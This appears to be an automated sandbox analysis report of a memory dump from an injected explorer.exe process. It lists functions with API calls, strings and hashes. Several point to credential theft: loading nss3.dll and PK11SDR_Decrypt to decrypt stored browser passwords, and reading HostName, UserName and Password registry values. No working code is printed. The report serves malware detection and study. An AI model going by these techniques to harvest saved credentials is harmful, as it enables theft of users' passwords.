Opcode ID: af43655965a6aef20e955db43326b716376903ecbb70edeed9a6822de3b27d86
Instruction ID: 93b80fb5acc9948faa4f86ab546d7b51d3a690a7160ef62cae59279736b70da6
Opcode Fuzzy Hash: af43655965a6aef20e955db43326b716376903ecbb70edeed9a6822de3b27d86
Instruction Fuzzy Hash: FCB16771214302AFD700EF65C884E6AB7E9FFC9744F14895CF5998B260DB71E84ACB62

Function 032724B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

Part of subcall function 03271090: lstrlenW.KERNEL32(?,?,00000000,032717E5), ref: 03271097
Part of subcall function 03271090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 032710A8

Part of subcall function 032719B4: lstrlenW.KERNEL32(00000000,00000000,00000000,03272CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 032719C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 03272503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 0327250A
LoadLibraryW.KERNEL32(00000000), ref: 03272563
SetCurrentDirectoryW.KERNEL32(?), ref: 03272570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 03272591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 0327259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 032725AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 032725B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 032725C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 032725D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 032725DF

Part of subcall function 0327190B: lstrlen.KERNEL32(?,?,?,?,00000000,03272783), ref: 0327192B
Part of subcall function 0327190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,03272783), ref: 03271930
Part of subcall function 0327190B: lstrcat.KERNEL32(00000000,?), ref: 03271946
Part of subcall function 0327190B: lstrcat.KERNEL32(00000000,00000000), ref: 0327194A

Strings

SECITEM_FreeItem, xrefs: 032725A0
NSS_Init, xrefs: 0327258B
PK11SDR_Decrypt, xrefs: 032725C7
NSS_Shutdown, xrefs: 03272593
PK11_FreeSlot, xrefs: 032725D4
sql:, xrefs: 0327262B
PK11_Authenticate, xrefs: 032725BA
PK11_GetInternalKeySlot, xrefs: 032725AD
nss3.dll, xrefs: 03272510

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 56772df1c0f4211b2e9cdc6ec4671725150bf7e94ffcf6831f58150b753dff28
Instruction ID: 5153622469711ad304b454f19f72a18f74b795578e285b5359ea3aa8cdbd8146
Opcode Fuzzy Hash: 56772df1c0f4211b2e9cdc6ec4671725150bf7e94ffcf6831f58150b753dff28
Instruction Fuzzy Hash: 5B415935E31352CFCB64FF35A85852E7AE9FF84640708482FD8419B60ADFB4A8A5CB51

Function 03275E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 03275BF5: memset.NTDLL ref: 03275C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 032760E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 032760EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 03276113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 0327618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 032761B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 032761C1

Strings

%02d, xrefs: 03276039, 032761D3
W, xrefs: 03276193
%04d, xrefs: 03276016
%03d, xrefs: 032761F3
%06.3f, xrefs: 03276229
%lld, xrefs: 03276122
%.16g, xrefs: 03276077

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 6400ac730fe6bb183fe70d44702ac1c99d122b9a61ac8140e0ab87452f2cad20
Instruction ID: 31727e1be742aa9cdb47cea0819ff7b700d77b78f50ea7ce12432f865659d374
Opcode Fuzzy Hash: 6400ac730fe6bb183fe70d44702ac1c99d122b9a61ac8140e0ab87452f2cad20
Instruction Fuzzy Hash: 68B15DB1938783AFD721DE28CC84B3AFBD4FB42244F2C0649F482A6191E7B5D9D086D5

Function 0328D2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL(032C637A,BINARY,00000007), ref: 0328D324

Strings

,%d, xrefs: 0328D444
(%.20s), xrefs: 0328D38A
k(%d, xrefs: 0328D2EE
program, xrefs: 0328D46A
vtab:%p, xrefs: 0328D423
BINARY, xrefs: 0328D31E
NULL, xrefs: 0328D40F
%s(%d), xrefs: 0328D3AB
%lld, xrefs: 0328D3CA
%.16g, xrefs: 0328D3E5
(blob), xrefs: 0328D416
,%s%s, xrefs: 0328D34E

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: b86c070a67a108adec61f16a2ccd1c46ae9f43603fba93a93af5571fb6947f2a
Instruction ID: d052a54a36f909248436d5102ec8eae753161d64c540150b83161bfcc26fadf7
Opcode Fuzzy Hash: b86c070a67a108adec61f16a2ccd1c46ae9f43603fba93a93af5571fb6947f2a
Instruction Fuzzy Hash: 0151D231535340AFC720EF68CC41A7AB3A5BB45600F09496DF9A19B2D2D3F0E8C9CB91

Function 032748B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 032719E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A1E
Part of subcall function 032719E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A3C
Part of subcall function 032719E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 03271A75
Part of subcall function 032719E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,03271AE2,PortNumber,00000000,00000000), ref: 03271A98

Part of subcall function 0327482C: lstrlenW.KERNEL32(?), ref: 03274845
Part of subcall function 0327482C: lstrlenW.KERNEL32(?), ref: 0327488F
Part of subcall function 0327482C: lstrlenW.KERNEL32(?), ref: 03274897

wsprintfW.USER32 ref: 032749A7
wsprintfW.USER32 ref: 032749B9

Strings

RemoteDirectory, xrefs: 032748F8
HostName, xrefs: 032748C4
UserName, xrefs: 032748D2
%s:%u, xrefs: 03274971, 032749B7
Password, xrefs: 032748E4
%s:%u/%s, xrefs: 03274982, 032749A5

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: b326bcfe71268696b20f517bd52a507827e0108b06ac85175036c302b7017159
Instruction ID: 34a19daeab04aaf22b27d30303f7a52e0ba6d71e96400c49419a9c882955674f
Opcode Fuzzy Hash: b326bcfe71268696b20f517bd52a507827e0108b06ac85175036c302b7017159
Instruction Fuzzy Hash: AF31F426728355ABC710FB66CC4582FB6EEFFCA644B094A1DB44587240DBF2DCC187A1

Function 0327F92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 0327FB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0327FB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0327FB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 0327FB95

Strings

nolock, xrefs: 0327FC4E
-wal, xrefs: 0327FBA9
immutable, xrefs: 0327FC68
-journal, xrefs: 0327FB6B

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 59758a06381dc12ef1a07fbeda1d810a4a97e3aa1c4f3a1a8c4e97f8c25fb888
Instruction ID: 5fa76e5a0883ef0c0e975cfee12c7e065d212f4983a586e0567c45c04341bbe8
Opcode Fuzzy Hash: 59758a06381dc12ef1a07fbeda1d810a4a97e3aa1c4f3a1a8c4e97f8c25fb888
Instruction Fuzzy Hash: 34D1E6B16283429FD714DF28C880B2ABBE5BF85314F08456DEC998F391D7B5D884CB62

Function 03277820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

NaN, xrefs: 032773F8
-x0, xrefs: 03277325
%, xrefs: 03277822

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: b1202de026ca804524fc15f3900d183cc6f08055882f08ef1e718138a746994f
Instruction ID: ddbee00bde8d18413674d4f62a34de04efa2b4a32daf7aa6a3e89378f794c51f
Opcode Fuzzy Hash: b1202de026ca804524fc15f3900d183cc6f08055882f08ef1e718138a746994f
Instruction Fuzzy Hash: 78D1E1306387928BD725CA2C849473AFBE5BF8A604F18499DF8C297251D6B4C9C5C792

Function 032778B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

NaN, xrefs: 032773F8
-x0, xrefs: 03277325

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 5f7a6c1fce62a4968dfe7f4b19c11dbbad8d188254c9f717c27f8cc4ce95d550
Instruction ID: 065fcdfd15b936628cc0ec0a237a423dcb6b235dd1f383d44526dd29d92f0d58
Opcode Fuzzy Hash: 5f7a6c1fce62a4968dfe7f4b19c11dbbad8d188254c9f717c27f8cc4ce95d550
Instruction Fuzzy Hash: 86E1D230A387838BD725CA2C849473AFBE5BF8A604F18499DE8C297351D6B5C9C5C792

Function 03277A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

NaN, xrefs: 032773F8
-x0, xrefs: 03277325

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 8a709f2a89a5930f5ad167561af7faec53476829ebb5fb5ec6be0403e27f91d5
Instruction ID: 9d208bb1cdd0d9d022c339704e532be3dfee8e4a74af668b69152108e90f4110
Opcode Fuzzy Hash: 8a709f2a89a5930f5ad167561af7faec53476829ebb5fb5ec6be0403e27f91d5
Instruction Fuzzy Hash: 45E1F2346387828BD725CE2C849473AFBE5BF8A604F18499DE8C29B351D6B1C9C5C792

Function 03277A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

NaN, xrefs: 032773F8
-x0, xrefs: 03277325

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 495f9ff68ecf24e9cc573ed70f354874fb460ad25c4230889521ed4d6a0d5f82
Instruction ID: 58153feeb46dd5555efffff6a3c23f872b87a5a375754d5db1576299442ab964
Opcode Fuzzy Hash: 495f9ff68ecf24e9cc573ed70f354874fb460ad25c4230889521ed4d6a0d5f82
Instruction Fuzzy Hash: 90E1E2346387838BD725CE2C849473AFBE5BF8A604F18499DE8C287251D6B4C9C5C792

Function 032777F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

NaN, xrefs: 032773F8
-x0, xrefs: 03277325

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: a8202176460708c3a171561d06799318153d433a9424df398ca106e3383ac139
Instruction ID: 7f0b99f686d5bcb4d62288b8c6c681ff63a63b1c663ce35b6d096fe9536295d4
Opcode Fuzzy Hash: a8202176460708c3a171561d06799318153d433a9424df398ca106e3383ac139
Instruction Fuzzy Hash: 21E1DF306387828FD725CA2C849473AFBE5BF8A604F18499DE8C297351D6B4C9C5CB92

Function 032770C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 0327720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 03277226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 0327727B

Strings

NaN, xrefs: 032773F8
-x0, xrefs: 03277325

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: ec636fdc1592cf449ba1e8a439c40f66fe4cba66ad74e105c2004feabc243991
Instruction ID: 922d64c40d9aeaa0bf385c1c9c7f9880c949b76b2cdd7642bf04415426b5f72e
Opcode Fuzzy Hash: ec636fdc1592cf449ba1e8a439c40f66fe4cba66ad74e105c2004feabc243991
Instruction Fuzzy Hash: 31D1D0306387838BD725CA2C849473AFBE5BF8A604F18499DF8C297251D6B4C9C5C792

Function 0327898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 03278AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 03278B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 03278C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 03278CAE

Strings

., xrefs: 03278B17

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: 7528773562056b105ca584f1ccdd7ca037c408fb26c80ab5d16d09927bcae108
Instruction ID: 7792c1de001adc73ca9bc3a4c91b9cd5817499da5c6351e4ff24a334c69affa7
Opcode Fuzzy Hash: 7528773562056b105ca584f1ccdd7ca037c408fb26c80ab5d16d09927bcae108
Instruction Fuzzy Hash: 33D108B292C7858BC714DF19848922EFBF9FBC5710F084D9EF5D596280E3B1C9858786

Function 0329D684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0329D6A0
memset.NTDLL ref: 0329D6B3
memset.NTDLL ref: 0329D6C3

Strings

9, xrefs: 0329D701
7, xrefs: 0329D71B
,, xrefs: 0329D6FC

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: fcdcbb973bf17bc347285512a2191134428667ceef6c4bc0fbd0bb4d2a602b4c
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: 6C318F755083849FD730DF60D880B8FBBE8AF85340F00492EE98997291EBB1E548CB93

Function 03271BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,03272E75,PathToExe,00000000,00000000), ref: 03271BCC
StrStrIW.SHLWAPI(00000000,.exe,?,03272E75,PathToExe,00000000,00000000), ref: 03271BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,03272E75,PathToExe,00000000,00000000), ref: 03271C05
lstrlenW.KERNEL32(00000000,?,03272E75,PathToExe,00000000,00000000), ref: 03271C1C

Strings

.exe, xrefs: 03271BEA

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: b8f7227160735458d19ee2a8f993cc91ddff62992279df8e4dd8bc8af9a8fddf
Instruction ID: 1ad5db94e96d63f2eb7d3de94d482008f0c54648189e1366fc938c76c372d987
Opcode Fuzzy Hash: b8f7227160735458d19ee2a8f993cc91ddff62992279df8e4dd8bc8af9a8fddf
Instruction Fuzzy Hash: 04F0FC313302229BD334AF75AC496BF6295FF01741718582DE082D3151F7B099D1C759

Function 03272112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 03272127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 0327213A
wsprintfA.USER32 ref: 0327214F

Strings

%li, xrefs: 03272149

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: e8e6343fa449d1437860ec136c511e92767258589b2df03395ec494be02ea84e
Instruction ID: dc28736dc52c46dbc1dcce6a5ec182ee3afe41890a74189641a06d99cf1b3f5c
Opcode Fuzzy Hash: e8e6343fa449d1437860ec136c511e92767258589b2df03395ec494be02ea84e
Instruction Fuzzy Hash: DEE0D8326603087BC7207BB9AC0AFEF7B6CDF40A56F044295F900E6646D5F29A6483D5

Function 03282FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 0328316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 032831D2
_alldiv.NTDLL(?,?,00000000), ref: 032832DE
_allmul.NTDLL(00000000,?,00000000), ref: 032832E7
_allmul.NTDLL(?,00000000,?,?), ref: 03283392

Part of subcall function 032816CD: memset.NTDLL ref: 0328172B

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: d3b5dd23dc3568069600faeb8c54b1aa98b767bf20462dfcb31b00bf78899747
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: C8D1A2796253418FDB24EF69C48075EB7E5FF84B04F18492DFA9587290DBB0D885CB82

Function 032A87FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

old, xrefs: 032A889E
FOREIGN KEY constraint failed, xrefs: 032A8AC8
new, xrefs: 032A88AA

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: 333e604fb8c4f4df345e58c5f674546dd3790475c15ca1ba3d6162b20a3cb80b
Instruction ID: 9ffd3bcb0a42f5323f0b6a3fd280e6acb5db9b271834600c2edd561b67a6d788
Opcode Fuzzy Hash: 333e604fb8c4f4df345e58c5f674546dd3790475c15ca1ba3d6162b20a3cb80b
Instruction Fuzzy Hash: E1D13B747187019FEB18DF29D480B2FBBE9ABC8750F14491EF9458B290DBB4D981CB92

Function 032796BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 032796E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 03279707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 03279739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 0327976C
_allmul.NTDLL(?,?,?,?), ref: 03279798

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: cc414f0b1d7ffaf68729d9b578ac6e53136f51abe7c28a452e5dfc6105c93347
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: ED210ABA5747961BD734DD1B4CC0BEBB59EFB966A1F28022DED0186250EBF294C08161

Function 0328B162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 0328B1B3
_alldvrm.NTDLL(?,?,00000000), ref: 0328B20F
_allrem.NTDLL(?,00000000,?,?), ref: 0328B28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 0328B298

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: 3766a68bedd863e95d934f15287972b5f793fcad9d4dc72eb3d2845f8db0f868
Instruction ID: e1d90b59a3e770c99f4c7753ae3d2ed2feb5ce117b1b9654048608342150c382
Opcode Fuzzy Hash: 3766a68bedd863e95d934f15287972b5f793fcad9d4dc72eb3d2845f8db0f868
Instruction Fuzzy Hash: 4C4139796293419FC714EF15C89092FFBE5AFC8600F04892DF9958B291DB71EC85CB92

Function 03271895 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetHGlobalFromStream.COMBASE(?,?), ref: 032718A7
GlobalLock.KERNEL32(03274B57), ref: 032718B6
GlobalUnlock.KERNEL32(?), ref: 032718F4

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 032718E8

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Global$Heap$AllocateFromLockMemoryMoveProcessStreamUnlock
String ID:
API String ID: 1688112647-0
Opcode ID: 53fe5c75ce735af9f328831f578cfa4e1cfb8c6bf62a0f6aff7af70ddc1665ae
Instruction ID: ea82051fe23ab4ebb4c5e98b49454caac3ce8a9d40d8c1276cfecb744515b444
Opcode Fuzzy Hash: 53fe5c75ce735af9f328831f578cfa4e1cfb8c6bf62a0f6aff7af70ddc1665ae
Instruction Fuzzy Hash: AE018175220306AF9B01AF25E81889FBBEDFF85651B08C43EF855C7210DF75E9649B20

Function 03271953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,03272F0C), ref: 03271973
lstrlenW.KERNEL32(032C6564,?,?,03272F0C), ref: 03271978
lstrcatW.KERNEL32(00000000,?,?,?,03272F0C), ref: 03271990
lstrcatW.KERNEL32(00000000,032C6564,?,?,03272F0C), ref: 03271994

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 5865bb4346489ae25159500cf0cf49f1f3ff7367ee7cbdbf3d051c9a474b3767
Instruction ID: eec2b10d65ebcab3a0cb7f2af18dc4fdf91f776c3087dd8a4ce2efb0cff01854
Opcode Fuzzy Hash: 5865bb4346489ae25159500cf0cf49f1f3ff7367ee7cbdbf3d051c9a474b3767
Instruction Fuzzy Hash: 3EE09B6631021D5B8714B6AE6C94D7B779CEEC95A530D0079FA05D3305FE66EC0546B0

Function 0329F21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 03276A81: memset.NTDLL ref: 03276A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 0329F2A1

Strings

%llu, xrefs: 0329F25E
%llu, xrefs: 0329F2A8

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: d222aed75d6ee5ebae811873785402d36b90fe3116ab5fa1249bc87a04b1d014
Instruction ID: 0cd9697d1f2bdee2fa55a3df2305d28c7416f214f94ffe2cb18b883e5180d25d
Opcode Fuzzy Hash: d222aed75d6ee5ebae811873785402d36b90fe3116ab5fa1249bc87a04b1d014
Instruction Fuzzy Hash: 9821CFB6A607057BDB10EA248C41F7AB758AF81730F044229B9219B6C0DBA1AD918AE1

Function 0328203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 03282174
_allmul.NTDLL(?,?,?,00000000), ref: 0328220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 03282241
_allmul.NTDLL(03272E26,00000000,?,?), ref: 03282295

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
